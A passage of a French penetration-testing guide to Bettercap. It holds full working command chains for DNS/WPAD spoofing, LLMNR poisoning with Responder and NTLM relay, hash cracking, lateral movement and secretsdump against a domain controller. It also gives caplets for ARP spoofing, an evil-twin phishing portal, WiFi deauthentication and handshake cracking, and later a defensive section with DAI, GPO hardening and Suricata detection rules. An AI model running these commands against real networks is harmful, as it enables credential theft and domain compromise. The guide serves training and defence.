  set dns.spoof.domains wpad.corp.local, isatap.corp.local, teredo.corp.local;
  set dns.spoof.address 192.168.1.100;
  dns.spoof on;
  net.sniff on
"

# Terminal 2 : Responder pour le LLMNR/NBT-NS poisoning
sudo responder -I eth0 -wrf -v

# Responder capture les hashes NTLMv2 :
# [SMB] NTLMv2-SSP Client   : 192.168.1.50
# [SMB] NTLMv2-SSP Username : CORP\jdupont
# [SMB] NTLMv2-SSP Hash     : jdupont::CORP:1122334455667788:A1B2...

# Terminal 3 : ntlmrelayx en parallèle pour le relay
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -socks

Exploitation WPAD (Web Proxy Auto-Discovery)

L'attaque WPAD est particulièrement dévastatrice en environnement Active Directory. Le protocole WPAD permet aux clients de découvrir automatiquement la configuration du proxy web. Lorsque la résolution DNS de wpad.corp.local échoue (ce qui est fréquent, car WPAD n'est souvent pas configuré en DNS), Windows tombe en fallback sur LLMNR/NBT-NS. Bettercap peut intercepter cette requête DNS et rediriger vers un serveur WPAD malveillant qui configure le proxy pour pointer vers l'attaquant, créant ainsi un MITM HTTP complet sans même nécessiter d'ARP spoofing persistant.

# Attaque WPAD avec Bettercap
# 1. Créer le fichier wpad.dat malveillant
# /opt/pentest/wpad/wpad.dat :
# function FindProxyForURL(url, host) {
#     return "PROXY 192.168.1.100:8080; DIRECT";
# }

# 2. Servir le fichier via Bettercap
set http.server.address 0.0.0.0
set http.server.port 80
set http.server.path /opt/pentest/wpad/
http.server on

# 3. DNS spoofing pour WPAD
set dns.spoof.domains wpad, wpad.corp.local, wpad.corp
set dns.spoof.address 192.168.1.100
dns.spoof on

# 4. Proxy HTTP pour intercepter le trafic
set http.proxy.port 8080
set http.proxy.sslstrip true
http.proxy on

Capture NTLM et intégration avec les outils AD

Les hashes NTLMv2 capturés via la combinaison Bettercap/Responder alimentent directement la chaîne d'exploitation Active Directory. En contexte de pentest AD, ces hashes constituent souvent le point d'entrée initial vers le domaine. L'intégration avec les outils de la suite Impacket permet de transformer un hash capturé en accès complet au domaine :

# Chaîne d'exploitation AD complète

# 1. Cracking des hashes NTLMv2
hashcat -m 5600 hashes.txt -a 0 /opt/wordlists/corporate-wordlist.txt \
  -r /opt/rules/corporate.rule --username

# 2. Vérification du compte compromis
crackmapexec smb DC01.corp.local -u jdupont -p 'Summer2026!' -d CORP

# 3. Énumération AD avec le compte compromis
python3 bloodhound.py -u jdupont -p 'Summer2026!' -d corp.local -ns 192.168.1.10 -c All

# 4. Identification des chemins d'attaque avec BloodHound
# → Analyse des chemins vers Domain Admin

# 5. Mouvement latéral
python3 smbexec.py CORP/jdupont:'Summer2026!'@192.168.1.20

# 6. Escalade de privilèges (si chemin identifié)
python3 secretsdump.py CORP/admin_compromis:'Password!'@DC01.corp.local

Pour une méthodologie complète d'exploitation Active Directory avec Impacket, consultez notre guide détaillé sur Impacket.

Caplets : scripts d'automatisation Bettercap

Architecture des caplets

Les caplets sont au cœur de l'automatisation Bettercap. Un caplet est un fichier texte contenant une séquence de commandes Bettercap exécutées séquentiellement au lancement. Le dépôt officiel de caplets (bettercap/caplets sur GitHub) fournit des scénarios prêts à l'emploi couvrant la majorité des cas d'usage en pentest. Les caplets peuvent être installés via la commande caplets.update et chargés via caplet.load.

# Installation et gestion des caplets
sudo bettercap -eval "caplets.update"

# Lister les caplets disponibles
sudo bettercap -eval "caplets.show"

# Caplets officiels notables :
# - http-ui           : Interface web de monitoring
# - https-ui          : Interface web sécurisée
# - hstshijack        : Contournement HSTS
# - pwnagotchi        : Mode Pwnagotchi (WiFi automatisé)
# - login-manager-sniffer : Capture de credentials systèmes
# - download-autopwn  : Remplacement de binaires téléchargés
# - beef-inject       : Injection du hook BeEF
# - massdeauth        : Désauthentification WiFi massive

Caplets personnalisés pour le pentest

La création de caplets personnalisés permet d'adapter Bettercap aux spécificités de chaque mission. Voici plusieurs exemples de caplets professionnels couvrant différents scénarios de pentest :

# caplet: corporate-audit.cap
# Description: Audit réseau corporate complet
# Usage: sudo bettercap -iface eth0 -caplet corporate-audit.cap

# Variables de la mission
set $ {by} Ayi NEDJIMI Consultants - Pentest Network
set $ {target_range} 192.168.1.0/24
set $ {output_dir} /opt/pentest/results/

# Phase 1 : Découverte
set net.probe.throttle 50
net.probe on
sleep 30

# Phase 2 : Spoofing ciblé (postes utilisateurs uniquement)
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.50-192.168.1.100
arp.spoof on

# Phase 3 : Capture
set net.sniff.verbose true
set net.sniff.output {output_dir}capture-%Y%m%d.pcap
set net.sniff.local false
net.sniff on

# Phase 4 : DNS spoofing pour les domaines d'intérêt
set dns.spoof.domains intranet.corp.local, mail.corp.local, vpn.corp.local
set dns.spoof.address 192.168.1.200
dns.spoof on

# Phase 5 : API pour monitoring distant
set api.rest.address 127.0.0.1
set api.rest.port 8083
set api.rest.username auditor
set api.rest.password AuditSecure2026!
api.rest on

# Ticker pour rapport périodique
set ticker.period 60
set ticker.commands "clear; net.show; events.show 20"
ticker on

# caplet: ad-poisoner.cap
# Description: Poisoning ciblé pour environnement Active Directory
# À utiliser conjointement avec Responder

# Configuration optimisée pour AD
set arp.spoof.fullduplex true
set arp.spoof.internal true

# Cibler le segment des postes utilisateurs
set arp.spoof.targets 10.0.1.0/24

# DNS spoofing pour forcer les fallback LLMNR/NBT-NS
# En spoofant le DNS légitime, les requêtes échouent
# et les clients tombent en LLMNR → capturé par Responder
set dns.spoof.domains *.corp.local
set dns.spoof.address 127.0.0.2
dns.spoof on

# Spoofing WPAD
set dns.spoof.domains wpad, wpad.corp.local
set dns.spoof.address 10.0.1.200

# Activation
net.probe on
sleep 15
arp.spoof on
net.sniff on

# Logging détaillé
events.stream on

Caplet Pumpkin Attack : evil twin automatisé

Le caplet « pumpkin » automatise la création d'un point d'accès evil twin avec portail captif. Cette attaque est particulièrement efficace dans les environnements WiFi ouverts (hôtels, aéroports, espaces de coworking) ou lorsque les utilisateurs sont habitués à des portails captifs :

# caplet: evil-twin-pumpkin.cap
# Description: Evil twin avec portail captif de phishing
# Prérequis : 2 interfaces WiFi (wlan0 = monitor, wlan1 = AP)

# Configuration du point d'accès rogue
set wifi.ap.ssid "Corporate-WiFi"
set wifi.ap.bssid aa:bb:cc:dd:ee:ff
set wifi.ap.channel 6
set wifi.ap.encryption false

# Serveur DHCP pour les clients connectés
set wifi.ap.address 192.168.254.1
set wifi.ap.subnet 192.168.254.0
set wifi.ap.netmask 255.255.255.0

# Portail captif
set http.server.path /opt/pentest/captive-portal/
set http.server.address 192.168.254.1
set http.server.port 80
http.server on

# DNS spoofing : tout rediriger vers le portail
set dns.spoof.all true
set dns.spoof.address 192.168.254.1
dns.spoof on

# Activer l'AP
wifi.recon on
wifi.ap on

# Désauthentification du vrai AP pour forcer la migration
# (Optionnel - à utiliser avec discernement)
# wifi.deauth AA:BB:CC:DD:EE:FF

Bettercap en WiFi pentest

Prérequis matériels et configuration

Le pentest WiFi avec Bettercap nécessite une interface WiFi compatible avec le mode monitor et l'injection de paquets. Les chipsets recommandés en 2026 sont l'Alfa AWUS036ACM (MediaTek MT7612U, compatible 802.11ac), l'Alfa AWUS036ACHM (MediaTek MT7610U), et le TP-Link Archer T3U Plus (Realtek RTL8812BU avec le driver rtl8812au-aircrack). La configuration du mode monitor est un prérequis indispensable :

# Configuration du mode monitor
# Vérifier l'interface WiFi
iw dev

# Désactiver le NetworkManager pour l'interface
sudo nmcli device set wlan0 managed no

# Activer le mode monitor
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Vérification
iw wlan0mon info
# → type monitor

# Lancement de Bettercap en mode WiFi
sudo bettercap -iface wlan0mon

Reconnaissance WiFi avancée

La phase de reconnaissance WiFi avec Bettercap va au-delà du simple scan de réseaux. Le module wifi.recon identifie non seulement les points d'accès, mais également les clients associés, les clients en roaming, les probes requests (qui révèlent les réseaux auxquels les clients se sont précédemment connectés), et les trames de management 802.11.

# Reconnaissance WiFi complète
wifi.recon on

# Attendre la collecte de données
sleep 60

# Affichage des résultats avec filtres
wifi.show

# Filtrage par canal
wifi.recon.channel 1,6,11

# Affichage des clients associés
wifi.show.clients

# Résultat typique :
# ┌──────────────────────┬─────────┬──────┬────────┬──────────────────────────┐
# │        BSSID         │  RSSI   │  CH  │  ENC   │          SSID            │
# ├──────────────────────┼─────────┼──────┼────────┼──────────────────────────┤
# │ AA:BB:CC:DD:EE:01    │  -45    │   6  │  WPA2  │  Corporate-WiFi          │
# │ AA:BB:CC:DD:EE:02    │  -52    │   1  │  WPA2  │  Guest-Network           │
# │ AA:BB:CC:DD:EE:03    │  -68    │  11  │  OPEN  │  IoT-Devices             │
# │ AA:BB:CC:DD:EE:04    │  -72    │   6  │  WPA3  │  Secure-Corp             │
# └──────────────────────┴─────────┴──────┴────────┴──────────────────────────┘
#
# Clients:
# │  FF:FF:FF:FF:FF:01   │  → Corporate-WiFi    │  iPhone JDUPONT       │
# │  FF:FF:FF:FF:FF:02   │  → Corporate-WiFi    │  LAPTOP-COMPTA        │
# │  FF:FF:FF:FF:FF:03   │  (probing)           │  Probes: Livebox-A1B2 │

Capture de handshake WPA2/WPA3 et cracking

La capture du handshake WPA2 4-way est la méthode classique pour obtenir les données nécessaires au cracking offline de la clé PSK. Bettercap automatise cette capture en combinant la désauthentification forcée d'un client et la capture du handshake lors de la réassociation :

# Capture de handshake WPA2
# 1. Activer la capture des handshakes
set wifi.handshakes.file /opt/pentest/handshakes/
wifi.recon on

# 2. Identifier le réseau cible et un client connecté
wifi.show

# 3. Désauthentifier un client pour forcer la réassociation
wifi.deauth AA:BB:CC:DD:EE:01
# Cibler un client spécifique (plus discret) :
wifi.deauth FF:FF:FF:FF:FF:02

# 4. Le handshake est capturé automatiquement
# [wifi.client.handshake] captured Corporate-WiFi handshake

# 5. Cracking avec hashcat
# Convertir le pcap en format hashcat
hcxpcapngtool -o hash.hc22000 /opt/pentest/handshakes/Corporate-WiFi.pcap

# Cracking
hashcat -m 22000 hash.hc22000 /opt/wordlists/rockyou.txt -r /opt/rules/best64.rule

# 6. Attaque PMKID (alternative sans client)
wifi.assoc AA:BB:CC:DD:EE:01
# Bettercap capture le PMKID dans le premier message EAPOL
# Convertir et cracker de la même manière

Evil twin avec portail captif

L'attaque evil twin est la technique WiFi la plus sophistiquée supportée par Bettercap. Elle consiste à créer un point d'accès rogue imitant un réseau légitime, à désauthentifier les clients du vrai réseau pour les forcer à se connecter au rogue, puis à intercepter leur trafic ou à capturer leurs credentials via un portail captif. Cette attaque est particulièrement dévastatrice contre les réseaux WPA2 Enterprise, où le portail captif imite la page d'authentification RADIUS et capture les credentials du domaine.

En contexte de pentest, l'evil twin permet de valider la robustesse de la configuration 802.1X des clients (vérification du certificat du serveur RADIUS, validation du CN, etc.). Un client correctement configuré refusera de se connecter à un AP dont le certificat ne correspond pas à celui du serveur RADIUS légitime. En pratique, de nombreuses configurations laissent cette vérification désactivée, rendant l'attaque triviale.

Scénarios d'attaque WiFi avancés : KARMA et Known Beacons

Au-delà des attaques de base (deauth, handshake capture, evil twin), Bettercap supporte des scénarios WiFi sophistiqués exploitant le comportement des clients sans fil. L'attaque KARMA exploite les probe requests envoyées par les clients à la recherche de réseaux connus. Lorsqu'un appareil mobile ou un laptop cherche à se reconnecter à un réseau WiFi mémorisé, il envoie des probe requests contenant les SSID des réseaux auxquels il s'est précédemment connecté. Un AP rogue configuré en mode KARMA répond positivement à toutes ces probe requests, faisant croire au client qu'il a trouvé son réseau habituel.

L'attaque Known Beacons est une variante plus aggressive où le point d'accès rogue émet des beacon frames pour des dizaines de SSID courants (« Starbucks WiFi », « Free_WiFi », « Hotel_Guest », etc.), incitant les appareils à proximité à se connecter automatiquement si l'un de ces SSID figure dans leur liste de réseaux mémorisés. Cette technique est particulièrement efficace dans les espaces publics à forte densité de personnes :

# Attaque Known Beacons avec Bettercap
# Fichier de SSID courants : /opt/pentest/common-ssids.txt
# FreeWifi
# Starbucks WiFi
# McDonald's Free WiFi
# Hotel_Guest
# Airport_WiFi_Free
# Livebox-XXXX
# NUMERICABLE-XXXX

# Configuration Bettercap pour Known Beacons
set wifi.ap.ssid "FreeWifi"
wifi.ap on

# Attaque KARMA (répondre à toutes les probe requests)
# Nécessite un firmware supportant le mode multi-SSID
# ou un script caplet qui change de SSID dynamiquement

# Monitoring des clients qui se connectent
events.stream on
# [wifi.client.new] client FF:FF:FF:FF:FF:01 connected to our AP
# [wifi.client.new] client FF:FF:FF:FF:FF:02 connected to our AP

La défense contre ces attaques repose sur la configuration des clients pour qu'ils ne se connectent pas automatiquement aux réseaux ouverts, la suppression des réseaux mémorisés inutiles, et l'utilisation de VPN systématique sur les réseaux non maîtrisés. En entreprise, le déploiement de Wireless IPS (WIPS) permet de détecter les AP rogue et les attaques de désauthentification en temps réel.

Analyse post-capture : exploitation des données WiFi

Les données capturées lors du pentest WiFi avec Bettercap nécessitent un traitement post-capture pour en extraire la valeur maximale. Les handshakes WPA2 capturés doivent être convertis au format approprié pour le cracking, les captures PCAP doivent être analysées pour identifier les credentials en clair, et les métadonnées des probe requests doivent être corrélées pour établir le profil des utilisateurs du réseau.

# Analyse post-capture WiFi

# 1. Conversion des handshakes pour hashcat
hcxpcapngtool -o hashes.hc22000 /opt/pentest/handshakes/*.pcap

# 2. Cracking par dictionnaire avec règles
hashcat -m 22000 hashes.hc22000 \
  /opt/wordlists/rockyou.txt \
  -r /opt/rules/best64.rule \
  -w 3 --hwmon-temp-abort=90

# 3. Cracking par masque (si politique de mots de passe connue)
# Exemple : 8 caractères, majuscule + minuscules + chiffres
hashcat -m 22000 hashes.hc22000 \
  -a 3 ?u?l?l?l?l?l?d?d

# 4. Analyse des probes pour le profiling
# Extraire les SSID des probe requests capturés
tshark -r /opt/pentest/capture.pcap \
  -Y "wlan.fc.type_subtype == 0x04" \
  -T fields -e wlan.sa -e wlan.ssid | sort -u

# 5. Analyse des credentials HTTP en clair
tshark -r /opt/pentest/capture.pcap \
  -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

Web UI et REST API : monitoring et automatisation

Interface web en temps réel

La Web UI de Bettercap fournit un tableau de bord en temps réel qui visualise l'ensemble de l'activité réseau interceptée. Construite en Vue.js avec un backend WebSocket, elle offre une carte du réseau interactive, un flux d'événements en temps réel, un visualiseur de credentials capturés, et des contrôles pour activer/désactiver les modules. Le lancement s'effectue via le caplet http-ui ou https-ui :

# Lancement de la Web UI sécurisée
sudo bettercap -iface eth0 -caplet https-ui

# Personnalisation des credentials
set api.rest.username pentester
set api.rest.password S3cur3Aud1t!
set api.rest.address 0.0.0.0
set api.rest.port 8443

# Accès : https://ATTACKER_IP:8443/
# Login avec les credentials définis

REST API : intégration programmatique

L'API REST de Bettercap expose l'ensemble des fonctionnalités via des endpoints HTTP/HTTPS. Cette API est essentielle pour l'intégration dans des workflows de pentest automatisé, le développement d'interfaces personnalisées, et le pilotage à distance. Les principaux endpoints sont les suivants :

# Endpoints REST API Bettercap

# Récupérer l'état de la session
curl -k -u admin:pass https://127.0.0.1:8083/api/session

# Exécuter une commande
curl -k -u admin:pass -X POST https://127.0.0.1:8083/api/session \
  -H "Content-Type: application/json" \
  -d '{"cmd":"net.show"}'

# Récupérer les événements
curl -k -u admin:pass https://127.0.0.1:8083/api/events

# Flux d'événements en temps réel (WebSocket)
# ws://127.0.0.1:8083/api/events (avec authentification)

# Script Python d'automatisation
import requests
import json

class BettercapAPI:
    def __init__(self, host, port, user, password):
        self.base_url = f"https://{host}:{port}/api"
        self.auth = (user, password)
        self.session = requests.Session()
        self.session.verify = False

    def execute(self, command):
        r = self.session.post(
            f"{self.base_url}/session",
            auth=self.auth,
            json={"cmd": command}
        )
        return r.json()

    def get_hosts(self):
        r = self.session.get(
            f"{self.base_url}/session",
            auth=self.auth
        )
        return r.json().get("lan", {}).get("hosts", [])

    def get_events(self):
        r = self.session.get(
            f"{self.base_url}/events",
            auth=self.auth
        )
        return r.json()

# Utilisation
api = BettercapAPI("127.0.0.1", 8083, "admin", "pass")
api.execute("net.probe on")
hosts = api.get_hosts()
for h in hosts:
    print(f"{h['ipv4']} - {h['mac']} - {h['hostname']}")

Intégration CI/CD et automatisation de pentest

L'API REST permet l'intégration de Bettercap dans des pipelines d'automatisation de tests de sécurité. Dans un contexte DevSecOps, des tests MITM automatisés peuvent être exécutés régulièrement contre des environnements de staging pour vérifier que les contre-mesures réseau (DAI, DHCP snooping, 802.1X) sont correctement configurées. Le script suivant illustre un test automatisé vérifiant la résistance à l'ARP spoofing :

#!/bin/bash
# test-arp-resistance.sh
# Test automatisé de résistance à l'ARP spoofing
# À exécuter depuis une machine dédiée aux tests de sécurité

BETTERCAP_HOST="127.0.0.1"
BETTERCAP_PORT="8083"
BETTERCAP_USER="automation"
BETTERCAP_PASS="AutoPass2026!"
TARGET_SUBNET="10.0.1.0/24"
TEST_DURATION=30

# Démarrer Bettercap en background
sudo bettercap -iface eth0 -eval "
  set api.rest.address 127.0.0.1;
  set api.rest.port ${BETTERCAP_PORT};
  set api.rest.username ${BETTERCAP_USER};
  set api.rest.password ${BETTERCAP_PASS};
  api.rest on
" &

sleep 5

# Tenter l'ARP spoofing
curl -sk -u ${BETTERCAP_USER}:${BETTERCAP_PASS} \
  -X POST "https://${BETTERCAP_HOST}:${BETTERCAP_PORT}/api/session" \
  -d "{\"cmd\":\"set arp.spoof.targets ${TARGET_SUBNET}; arp.spoof on\"}"

sleep ${TEST_DURATION}

# Vérifier si le spoofing a réussi (credentials capturés = vulnérable)
EVENTS=$(curl -sk -u ${BETTERCAP_USER}:${BETTERCAP_PASS} \
  "https://${BETTERCAP_HOST}:${BETTERCAP_PORT}/api/events")

if echo "$EVENTS" | grep -q "net.sniff.credentials"; then
    echo "FAIL: ARP spoofing successful - network is vulnerable"
    exit 1
else
    echo "PASS: No credentials captured - DAI may be active"
    exit 0
fi

Détection et défense contre les attaques MITM

Dynamic ARP Inspection (DAI)

La contre-mesure la plus efficace contre l'ARP spoofing est le Dynamic ARP Inspection (DAI), disponible sur les switches managés Cisco, Juniper, HP/Aruba et autres. DAI valide les paquets ARP en les comparant à la base DHCP Snooping binding table. Tout paquet ARP dont la correspondance IP-MAC ne correspond pas à celle attribuée par le serveur DHCP est rejeté. La configuration sur un switch Cisco IOS est la suivante :

# Configuration DAI sur switch Cisco IOS

# Activer le DHCP Snooping (prérequis de DAI)
ip dhcp snooping
ip dhcp snooping vlan 10,20,30

# Configurer les ports trunk/uplink comme trusted
interface GigabitEthernet0/1
  ip dhcp snooping trust
  ip arp inspection trust

# DAI sur les VLANs
ip arp inspection vlan 10,20,30

# Rate limiting pour éviter les DoS
ip arp inspection limit rate 15

# Logging des violations
ip arp inspection log-buffer entries 1024
ip arp inspection log-buffer logs 20 interval 60

# Vérification
show ip arp inspection statistics
show ip dhcp snooping binding

DHCP Snooping

Le DHCP Snooping protège contre les serveurs DHCP rogue en filtrant les messages DHCP sur les ports non autorisés. Seuls les ports configurés comme « trusted » (typiquement les uplinks vers le serveur DHCP légitime) peuvent émettre des réponses DHCP Offer et DHCP Ack. Les ports utilisateurs sont configurés comme « untrusted » et ne peuvent émettre que des requêtes DHCP Discover et Request. Cette fonctionnalité alimente également la binding table utilisée par DAI.

802.1X Network Access Control

Le protocole 802.1X fournit un contrôle d'accès au réseau basé sur l'authentification, constituant la défense la plus robuste contre les attaques réseau. Chaque poste doit s'authentifier auprès d'un serveur RADIUS avant d'obtenir un accès au réseau. L'authentification peut utiliser des certificats machine (EAP-TLS), des credentials utilisateur (PEAP-MSCHAPv2), ou une combinaison des deux. Dans un environnement 802.1X correctement déployé, un attaquant ne peut pas connecter une machine non autorisée au réseau, ce qui élimine la possibilité d'ARP spoofing. Pour un guide complet sur la sécurisation Active Directory incluant le déploiement 802.1X, consultez notre guide de sécurisation Active Directory.

Règles IDS/IPS pour la détection MITM

Les systèmes IDS/IPS (Snort, Suricata, Zeek) peuvent détecter les tentatives d'ARP spoofing, de DNS spoofing et d'autres attaques MITM. Les signatures suivantes permettent de détecter les comportements caractéristiques de Bettercap et Ettercap :

# Règles Suricata pour la détection MITM

# Détection d'ARP spoofing (changement fréquent de correspondance MAC-IP)
# Note : nécessite le module ARP de Suricata
alert arp any any -> any any (msg:"Potential ARP Spoofing - Duplicate IP with different MAC"; \
  arp.opcode:2; threshold:type both, track by_src, count 10, seconds 30; \
  sid:1000001; rev:1;)

# Détection de net.probe Bettercap (ARP scan rapide)
alert arp any any -> any any (msg:"Potential ARP Scan - Bettercap net.probe"; \
  arp.opcode:1; threshold:type both, track by_src, count 50, seconds 10; \
  sid:1000002; rev:1;)

# Détection de SSLstrip (downgrade HTTPS vers HTTP)
alert http any any -> any any (msg:"Potential SSLstrip - HTTP redirect to HTTPS replaced"; \
  flow:from_server,established; content:"Location|3a| http://"; \
  pcre:"/^Host\x3a\s+\S+/mi"; sid:1000003; rev:1;)

# Détection de Bettercap User-Agent
alert http any any -> any any (msg:"Bettercap HTTP Proxy detected"; \
  content:"bettercap"; http_header; nocase; sid:1000004; rev:1;)

Désactivation de LLMNR et NBT-NS par GPO

Dans les environnements Active Directory, la désactivation de LLMNR et NBT-NS via Group Policy est l'une des mesures de durcissement les plus impactantes contre les attaques combinant Bettercap et Responder. Ces protocoles de fallback sont exploités massivement par les attaquants pour capturer des hashes NTLMv2 sans même nécessiter d'ARP spoofing. La désactivation s'effectue de la manière suivante :

# Désactivation de LLMNR par GPO
# Computer Configuration → Administrative Templates → Network → DNS Client
# → Turn off multicast name resolution → Enabled

# Désactivation de NBT-NS par GPO
# Computer Configuration → Network → Network Connections →
# → IPv4 Properties → Advanced → WINS → Disable NetBIOS over TCP/IP
# Ou via script PowerShell déployé par GPO :

# Script PowerShell de désactivation NBT-NS
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true }
foreach ($adapter in $adapters) {
    $adapter.SetTcpipNetbios(2)  # 2 = Disable
}

# Vérification après application de la GPO
# Sur un poste client :
gpresult /r | findstr "LLMNR"
nbtstat -n  # Ne devrait plus montrer d'enregistrements actifs

# Désactivation de WPAD par GPO (recommandé)
# Computer Configuration → Administrative Templates →
# → Windows Components → Internet Explorer →
# → Disable caching of Auto-Proxy scripts → Enabled

La désactivation de ces protocoles peut avoir des impacts dans les environnements legacy où des applications dépendent de la résolution NetBIOS. Un audit préalable des dépendances est recommandé avant le déploiement en production. Dans tous les cas, la désactivation doit être testée sur un groupe pilote avant le déploiement à l'échelle du domaine.

SMB Signing et LDAP Signing : protection contre le relay

Le SMB signing et le LDAP signing constituent des défenses critiques contre les attaques de NTLM relay alimentées par la capture de hashes via Bettercap/Responder. Le SMB signing ajoute une signature cryptographique à chaque paquet SMB, empêchant un attaquant de relayer une session SMB capturée vers un autre serveur. Le LDAP signing protège de manière similaire les communications LDAP. Ces mesures doivent être activées par GPO :

# Activation du SMB Signing par GPO
# Computer Configuration → Policies → Windows Settings → Security Settings
# → Local Policies → Security Options

# Serveurs (obligatoire) :
# Microsoft network server: Digitally sign communications (always) → Enabled

# Clients (obligatoire) :
# Microsoft network client: Digitally sign communications (always) → Enabled

# Activation du LDAP Signing
# Computer Configuration → Policies → Windows Settings → Security Settings
# → Local Policies → Security Options
# Domain controller: LDAP server signing requirements → Require signing

# Activation du LDAP Channel Binding
# Via registre :
# HKLM\System\CurrentControlSet\Services\NTDS\Parameters
# LdapEnforceChannelBinding = 2 (Always)

# Vérification avec CrackMapExec (depuis la machine d'audit)
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets_no_signing.txt
# Si la liste est vide : tous les serveurs ont le SMB signing activé

Monitoring ARP et détection proactive

Au-delà des mesures de prévention, une surveillance active des tables ARP permet de détecter les attaques en cours. Des outils comme arpwatch, XArp, ou des scripts personnalisés peuvent alerter en temps réel sur les changements suspects de correspondance MAC-IP. La corrélation avec les logs DHCP et les événements 802.1X fournit une visibilité complète sur les tentatives d'attaque réseau :

# Script de monitoring ARP pour la détection d'attaques
#!/bin/bash
# arp-monitor.sh - Détection de changements ARP suspects

ARP_BASELINE="/etc/arp-baseline.txt"
ALERT_EMAIL="soc@entreprise.fr"

# Générer la baseline initiale (à exécuter une fois sur un réseau sain)
# arp -a | sort > $ARP_BASELINE

# Monitoring continu
while true; do
    CURRENT=$(arp -a | sort)
    BASELINE=$(cat $ARP_BASELINE)

    # Détecter les changements de MAC pour une même IP
    DIFF=$(diff <(echo "$BASELINE") <(echo "$CURRENT"))

    if [ -n "$DIFF" ]; then
        TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
        echo "[$TIMESTAMP] ARP change detected:" >> /var/log/arp-monitor.log
        echo "$DIFF" >> /var/log/arp-monitor.log

        # Détecter les MAC en double (signe d'ARP spoofing)
        DUPLICATES=$(arp -a | awk '{print $4}' | sort | uniq -d)
        if [ -n "$DUPLICATES" ]; then
            echo "[$TIMESTAMP] ALERT: Duplicate MACs detected: $DUPLICATES" \
              >> /var/log/arp-monitor.log
            # Envoyer une alerte
            echo "ARP Spoofing potentiel détecté : $DUPLICATES" | \
              mail -s "ALERTE SECURITE: ARP Spoofing" $ALERT_EMAIL
        fi
    fi

    sleep 10
done

Ettercap vs Bettercap vs alternatives : comparaison détaillée

Tableau comparatif des outils MITM

Le choix d'un outil MITM dépend du contexte de la mission, des cibles, et des contraintes opérationnelles. Le tableau suivant compare les principaux outils disponibles en 2026 selon des critères techniques pertinents pour le pentester professionnel :

Critère	Ettercap	Bettercap	arpspoof (dsniff)	mitmproxy	Cain & Abel
Langage	C	Go	C	Python	C++ (Windows)
Dernière version stable	0.8.3.1 (2020)	2.40+ (2026)	2.4 (legacy)	10.x (2026)	4.9.56 (abandonné)
ARP Spoofing	Oui (full-duplex)	Oui (full-duplex)	Oui (basique)	Non	Oui
DNS Spoofing	Plugin	Module natif	dnsspoof séparé	Addon	Oui
HTTPS Interception	Basique (SSLstrip)	Avancé (hstshijack)	Non	Excellent	Basique
WiFi Pentest	Non	Complet	Non	Non	Non
BLE Pentest	Non	Oui	Non	Non	Non
IPv6 Support	Limité	Complet	Non	Oui	Non
REST API	Non	Oui (complète)	Non	Oui	Non
Web UI	GTK (instable)	Vue.js (moderne)	Non	Web console	Win GUI
Scripting	Filtres (limité)	Caplets + JS	Non	Python (puissant)	Non
Maintenabilité	Faible	Forte	Obsolète	Forte	Abandonné
Portabilité	Linux/macOS/Win	Linux/macOS/Win	Linux	Multiplateforme	Windows only
Performance	Bonne	Excellente	Basique	Moyenne	Correcte

Quand utiliser chaque outil

Bettercap est le choix par défaut pour tout pentest réseau en 2026. Sa modularité, ses capacités WiFi/BLE, son API REST et sa communauté active en font l'outil le plus polyvalent. Utilisez-le pour l'ARP spoofing pentest, le DNS spoofing, le credential harvesting, le pentest WiFi, et l'intégration avec les outils d'exploitation AD.

mitmproxy excelle dans l'interception et la manipulation de trafic HTTP/HTTPS grâce à son scripting Python puissant. Utilisez-le lorsque vous avez besoin de modifier chirurgicalement des requêtes/réponses HTTP, de tester des API, ou d'automatiser des workflows HTTP complexes. Il ne gère pas le MITM réseau (ARP spoofing) et doit être combiné avec Bettercap ou iptables pour la redirection du trafic.

Ettercap reste pertinent pour les formations, les démonstrations pédagogiques, et les environnements legacy où Bettercap ne peut pas être installé (systèmes embarqués, distributions minimalistes). Ses filtres offrent une approche unique de la manipulation de paquets qui est instructive pour comprendre les fondamentaux du MITM.

arpspoof (dsniff) est un outil minimaliste utile lorsque vous avez besoin uniquement d'ARP spoofing sans fioritures. Sa simplicité (une seule commande) le rend rapide à déployer dans des situations où installer Bettercap n'est pas possible.

Cain & Abel est obsolète et abandonné depuis des années. Ne l'utilisez pas en production. Il est mentionné uniquement pour des raisons historiques, car il a été l'un des premiers outils MITM graphiques sous Windows et a marqué une génération de professionnels de la sécurité.

Positionnement dans le framework MITRE ATT&CK

Les techniques d'attaque couvertes par Bettercap et Ettercap sont documentées dans le framework MITRE ATT&CK sous plusieurs techniques. La technique principale est T1557 (Adversary-in-the-Middle), avec les sous-techniques T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay), T1557.002 (ARP Cache Poisoning), et T1557.003 (DHCP Spoofing). Les attaques DNS spoofing correspondent à T1584.002 (DNS Server) et T1071.004 (DNS). Les attaques WiFi relèvent de T1200 (Hardware Additions) pour l'evil twin physique et T1557 pour le MITM WiFi. Le mapping ATT&CK est essentiel dans les rapports de pentest pour aligner les findings avec un référentiel reconnu.

Lab pratique : environnement de test complet

Architecture du lab avec GNS3 ou EVE-NG

Pour pratiquer les techniques décrites dans cet article en toute sécurité et légalité, la mise en place d'un environnement de lab virtualisé est indispensable. GNS3 et EVE-NG permettent de créer des topologies réseau réalistes incluant des switches, routeurs, et machines virtuelles. L'architecture recommandée comprend un switch Cisco virtuel (pour tester DAI/DHCP Snooping), un contrôleur de domaine Windows Server, des postes clients Windows 10/11, et une machine Kali Linux avec Bettercap :

# Architecture du lab de pentest réseau MITM
#
# ┌─────────────────────────────────────────────────────────────┐
# │                     Lab MITM Pentest                        │
# │                                                             │
# │  ┌──────────┐    ┌──────────┐    ┌──────────┐              │
# │  │  DC01    │    │  SRV01   │    │  PC01    │              │
# │  │ Win2022  │    │ Win2022  │    │ Win11    │              │
# │  │ AD DS    │    │ File Srv │    │ Client   │              │
# │  │ DNS/DHCP │    │ IIS      │    │          │              │
# │  │ .1.10    │    │ .1.20    │    │ .1.50    │              │
# │  └────┬─────┘    └────┬─────┘    └────┬─────┘              │
# │       │               │               │                    │
# │  ─────┴───────────────┴───────────────┴──────┐             │
# │  │           Switch L2 (VLAN 10)             │             │
# │  │           (Cisco vIOS L2)                 │             │
